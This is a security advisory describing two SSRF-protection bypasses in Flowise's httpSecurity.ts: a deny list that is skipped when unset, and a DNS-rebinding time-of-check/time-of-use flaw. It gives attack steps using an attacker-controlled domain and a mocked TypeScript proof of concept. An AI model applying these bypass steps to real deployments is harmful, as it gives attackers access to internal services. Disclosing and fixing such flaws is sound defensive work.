Flowise: SSRF Protection Bypass (TOCTOU & Default Insecure)
Summary
The core security wrappers (secureAxiosRequest and secureFetch) intended to prevent Server-Side Request Forgery (SSRF) contain multiple logic flaws. These flaws allow attackers to bypass the allow/deny lists via DNS Rebinding (Time-of-Check Time-of-Use) or by exploiting the default configuration which fails to enforce any deny list.
Details
The flaws exist in packages/components/src/httpSecurity.ts.
Default Insecure: If process.env.HTTP_DENY_LIST is undefined, checkDenyList returns immediately, allowing all requests (including localhost).
DNS Rebinding (TOCTOU): The function performs a DNS lookup (dns.lookup) to validate the IP, and then the HTTP client performs a new lookup to connect. An attacker can serve a valid IP first, then switch to an internal IP (e.g., 127.0.0.1) for the second lookup.
PoC
Ensure HTTP_DENY_LIST is unset (default behavior).
Use any node utilizing secureFetch to access http://127.0.0.1.
Result: Request succeeds.
Scenario 2: DNS Rebinding
Attacker controls domain attacker.com and a custom DNS server.
Configure DNS to return 1.1.1.1 (Safe IP) with TTL=0 for the first query.
Configure DNS to return 127.0.0.1 (Blocked IP) for subsequent queries.
Flowise validates attacker.com -> 1.1.1.1 (Allowed).
Flowise fetches attacker.com -> 127.0.0.1 (Bypass).
Run the following for manual verification
// PoC for httpSecurity.ts Bypasses
import * as dns from 'dns/promises';
// Mocking the checkDenyList logic from Flowise
async function checkDenyList(url: string) {
const deniedIPs = ['127.0.0.1', '0.0.0.0']; // Simplified deny list logic
if (!process.env.HTTP_DENY_LIST) {
console.log(\"⚠️ HTTP_DENY_LIST not set. Returning allowed.\");
return; // Vulnerability 1: Default Insecure
}
const { hostname } = new URL(url);
const { address } = await dns.lookup(hostname);
if (deniedIPs.includes(address)) {
throw new Error(`IP ${address} is denied`);
}
console.log(`✅ IP ${address} allowed check.`);
}
async function runPoC() {
console.log(\"--- Test 1: Default Configuration (Unset HTTP_DENY_LIST) ---\");
// Ensure env var is unset
delete process.env.HTTP_DENY_LIST;
try {
await checkDenyList('http://127.0.0.1');
console.log(\"[PASS] Default config allowed localhost access.\");
} catch (e) {
console.log(\"[FAIL] Blocked:\", e.message);
}
console.log(\"\
--- Test 2: 'private' Keyword Bypass (Logic Flaw) ---\");
process.env.HTTP_DENY_LIST = 'private'; // User expects this to block localhost
try {
await checkDenyList('http://127.0.0.1');
// In real Flowise code, 'private' is not expanded to IPs, so it only blocks the string \"private\"
console.log(\"[PASS] 'private' keyword failed to block localhost (Mock simulation).\");
} catch (e) {
console.log(\"[FAIL] Blocked:\", e.message);
}
}
runPoC();
Impact
Confidentiality: High (Access to internal services if protection is bypassed).
Integrity: Low/Medium (If internal services allow state changes via GET).
Availability: Low.
